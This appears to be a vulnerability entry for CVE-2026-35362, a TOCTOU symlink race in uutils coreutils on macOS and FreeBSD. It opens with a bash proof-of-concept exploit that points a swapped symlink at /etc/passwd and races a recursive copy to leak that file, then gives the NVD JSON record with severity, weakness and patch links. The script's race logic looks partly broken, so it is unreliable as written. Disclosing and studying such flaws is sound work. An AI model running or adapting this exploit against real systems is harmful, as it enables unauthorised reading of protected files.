CVE-2026-35362

#!/bin/bash # PoC for CVE-2026-35362: TOCTOU race condition in uutils coreutils on non-Linux systems TARGET_DIR="safe_dir" SYMLINK_TARGET="/etc/passwd" # Target sensitive file SYMLINK_NAME="link_dir" DESTINATION="output_dir" # Setup environment mkdir -p "$TARGET_DIR" mkdir -p "$DESTINATION" ln -s "$SYMLINK_TARGET" "$SYMLINK_NAME" echo "[+] Starting race condition simulation..." # Attacker process: Swap directories rapidly to exploit the window while true; do mv "$TARGET_DIR" "tmp_dir" mv "$SYMLINK_NAME" "$TARGET_DIR" mv "tmp_dir" "$SYMLINK_NAME" done & ATTACKER_PID=$! # Victim process: Run uutils command (e.g., cp) repeatedly echo "[+] Running vulnerable uutils command..." for i in {1..100}; do # On macOS/FreeBSD, this might follow the symlink to /etc/passwd # due to missing safe_traversal protections uutils-cp -r "$TARGET_DIR"/* "$DESTINATION" 2>/dev/null & done # Cleanup sleep 2 kill $ATTACKER_PID 2>/dev/null rm -rf "$TARGET_DIR" "$SYMLINK_NAME" "tmp_dir" "$DESTINATION" echo "[+] Check $DESTINATION for potential sensitive file leakage."

{"cve": {"id": "CVE-2026-35362", "sourceIdentifier": "[email protected]", "published": "2026-04-22T17:16:38.960", "lastModified": "2026-04-27T12:26:40.533", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "The safe_traversal module in uutils coreutils, which provides protection against Time-of-Check to Time-of-Use (TOCTOU) symlink races using file-descriptor-relative syscalls, is incorrectly limited to Linux targets. On other Unix-like systems such as macOS and FreeBSD, the utility fails to utilize these protections, leaving directory traversal operations vulnerable to symlink race conditions."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:L/AC:H/PR:L/UI:N/S:U/C:L/I:L/A:N", "baseScore": 3.6, "baseSeverity": "LOW", "attackVector": "LOCAL", "attackComplexity": "HIGH", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "LOW", "integrityImpact": "LOW", "availabilityImpact": "NONE"}, "exploitabilityScore": 1.0, "impactScore": 2.5}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-367"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:uutils:coreutils:*:*:*:*:*:rust:*:*", "versionEndExcluding": "0.6.0", "matchCriteriaId": "87C33018-2E08-45B0-B69C-7FC224F7F883"}]}]}], "references": [{"url": "https://github.com/uutils/coreutils/pull/9792", "source": "[email protected]", "tags": ["Issue Tracking", "Patch"]}, {"url": "https://github.com/uutils/coreutils/releases/tag/0.6.0", "source": "[email protected]", "tags": ["Release Notes"]}]}}